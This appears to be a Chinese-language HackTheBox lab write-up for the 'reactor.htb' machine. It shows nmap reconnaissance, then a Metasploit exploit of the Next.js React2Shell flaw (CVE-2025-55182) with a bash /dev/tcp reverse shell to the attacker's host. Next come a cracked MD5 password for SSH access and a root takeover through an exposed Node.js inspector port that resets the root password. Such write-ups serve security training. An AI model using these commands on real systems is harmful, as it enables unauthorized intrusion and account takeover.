目标信息
IP地址：
10.129.245.214（非固定IP地址）
信息收集
ICMP检测
PING 10.129.245.214 (10.129.245.214) 56(84) bytes of data.
64 bytes from 10.129.245.214: icmp_seq=1 ttl=63 time=591 ms
64 bytes from 10.129.245.214: icmp_seq=2 ttl=63 time=398 ms
64 bytes from 10.129.245.214: icmp_seq=3 ttl=63 time=629 ms
64 bytes from 10.129.245.214: icmp_seq=4 ttl=63 time=460 ms
--- 10.129.245.214 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 397.881/519.595/628.605/94.022 ms
攻击机和靶机间网络连接状态较差。
防火墙检测
# Nmap 7.99 scan initiated Sun May 24 10:21:10 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.245.214
Warning: 10.129.245.214 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.245.214
Host is up (0.58s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
3000/tcp open|filtered ppp
# Nmap done at Sun May 24 10:22:03 2026 -- 1 IP address (1 host up) scanned in 53.26 seconds
靶机疑似开放2个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.94SVN scan initiated Sun May 24 05:30:09 2026 as: nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.245.214
Warning: 10.129.245.214 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.245.214
Host is up (0.22s latency).
Not shown: 65491 closed tcp ports (conn-refused), 42 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Sun, 24 May 2026 10:30:52 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 10:30:53 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 10:30:54 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=5/24%Time=6A12D35C%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,34BC,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Route
SF:r-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,
SF:\x20Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x2
SF:01\r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r
SF:\nCache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\
SF:"\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:017175\r\nDate:\x20Sun,\x2024\x20May\x202026\x2010:30:52\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><m
SF:eta\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width
SF:=device-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20hre
SF:f=\"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next
SF:\"/><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\
SF:x20href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\
SF:x20src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=
SF:\"\"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead
SF:1\.js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOp
SF:tions,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-
SF:Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Pref
SF:etch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x
SF:20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20S
SF:un,\x2024\x20May\x202026\x2010:30:53\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x
SF:20RSC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Rout
SF:er-Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control
SF::\x20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidat
SF:e\r\nDate:\x20Sun,\x2024\x20May\x202026\x2010:30:54\x20GMT\r\nConnectio
SF:n:\x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nConnection:\x20close\r\n\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/24%OT=22%CT=1%CU=44064%PV=Y%DS=2%DC=T%G=Y%TM=6A12
OS:D37E%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%TS=A)SEQ(S
OS:P=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M552ST11NW7%O2=M552ST11NW
OS:7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST11NW7%O6=M552ST11)WIN(W1=FE88%
OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M552N
OS:NSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 224.24 ms 10.10.14.1
2 224.33 ms 10.129.245.214
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 24 05:31:26 2026 -- 1 IP address (1 host up) scanned in 76.57 seconds
UDP端口扫描结果
# Nmap 7.94SVN scan initiated Sun May 24 05:33:38 2026 as: nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.245.214
Warning: 10.129.245.214 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.245.214
Host is up (0.23s latency).
All 65535 scanned ports on 10.129.245.214 are in ignored states.
Not shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)
# Nmap done at Sun May 24 05:37:39 2026 -- 1 IP address (1 host up) scanned in 241.49 seconds
同时发现，靶机运行Ubuntu Linux操作系统，开放了22/ssh和3000/http两个服务，根据HackTheBox内容规则，靶机主域名为reactor.htb。
服务探测
SSH服务（22端口）
尝试使用ssh命令连接靶机，确定其登录方式：
ssh root@reactor.htb
发现靶机可以使用密码和密钥两种方式登录。
Web应用程序（3000端口）
打开主页：http://reactor.htb:3000/
发现该站点主页为一个简单的仪表盘，尝试扫描目录，但未发现任何信息。
查看网络请求细节，发现目标Web服务返回了X-Powered-By标识，值为next.js：
怀疑该站点后端使用Next.JS搭建，尝试联网搜索，发现关于Next.JS的未授权代码执行漏洞，编号为CVE-2025-55182：
渗透测试
React2Shell漏洞利用
在服务探测过程中，我们已经发现靶机Web服务疑似使用Next.JS作为后端开发框架，以及严重的Next.JS未授权代码执行漏洞CVE-2025-55182（俗称React2Shell），现在尝试对该漏洞进行利用。
首先在本地启动netcat监听：
rlwrap nc -l -p 443 -s 10.10.16.24
随后启动msfconsole，通过react2shell_unauth_rce_cve_2025_55182模块进行利用：
use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
set payload payload/cmd/unix/generic
set RHOSTS reactor.htb
set RPORT 3000
set CMD /bin/bash -c \'bash -i >& /dev/tcp/10.10.16.24/443 0>&1\'
run
稍等片刻后，收到反弹Shell连接：
成功！！
权限提升
目录信息收集
进入系统后，执行目录信息收集，在Web应用主目录下发现了SQLite数据库文件reactor.db：
ls -lA /opt/reactor-app
使用scp工具将其传输至本地，随后打开：
发现数据库内存在表users，表内存在系统同名用户engineer的MD5哈希：39d97110eafe2a9a68639812cd271e8e。
尝试使用在线工具破解：MD5免费在线解密破解_MD5在线加密-SOMD5
成功发现用户凭据：
- 用户名：
engineer - 密码：
reactor1
直接使用该凭据登录SSH：
ssh engineer@reactor.htb
成功！！
Node.JS远程调试利用
登录engineer用户后，尝试执行sudo -l命令查看当前用户Sudo权限：
发现当前用户无权运行Sudo，尝试查看系统进程列表：
ps -aux
可发现靶机root用户正在运行如下命令，开启了一个Node.JS进程并启用了远程调试：
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
直接使用curl工具请求该端口，通过/json端点获取远程调试URL：
curl http://127.0.0.1:9229/json
可知远程调试URL为：ws://127.0.0.1:9229/a74c5ab3-201a-4401-8d9b-35169dc0bb95，通过ssh将该端口转发至本地：
ssh -fCNR 9229:127.0.0.1:9229 -p 22222 root@10.10.16.24
随后启动Google Chrome，在地址栏输入chrome://inspect，进入开发者远程调试工具后，点击Open dedicated DevTools for Node链接，打开Node.JS远程调试工具：
切换到Console选项卡，输入如下Node.JS代码，尝试执行id命令：
require("child_process").exec("id", (err,std) => console.log(std))
成功以root身份执行命令！直接修改root用户凭据：
require("child_process").exec("echo 'root:Asd310056' | chpasswd", (err,std) => console.log(std))
执行完毕后，返回SSH会话，切换到root用户：
su -
提权成功！！！！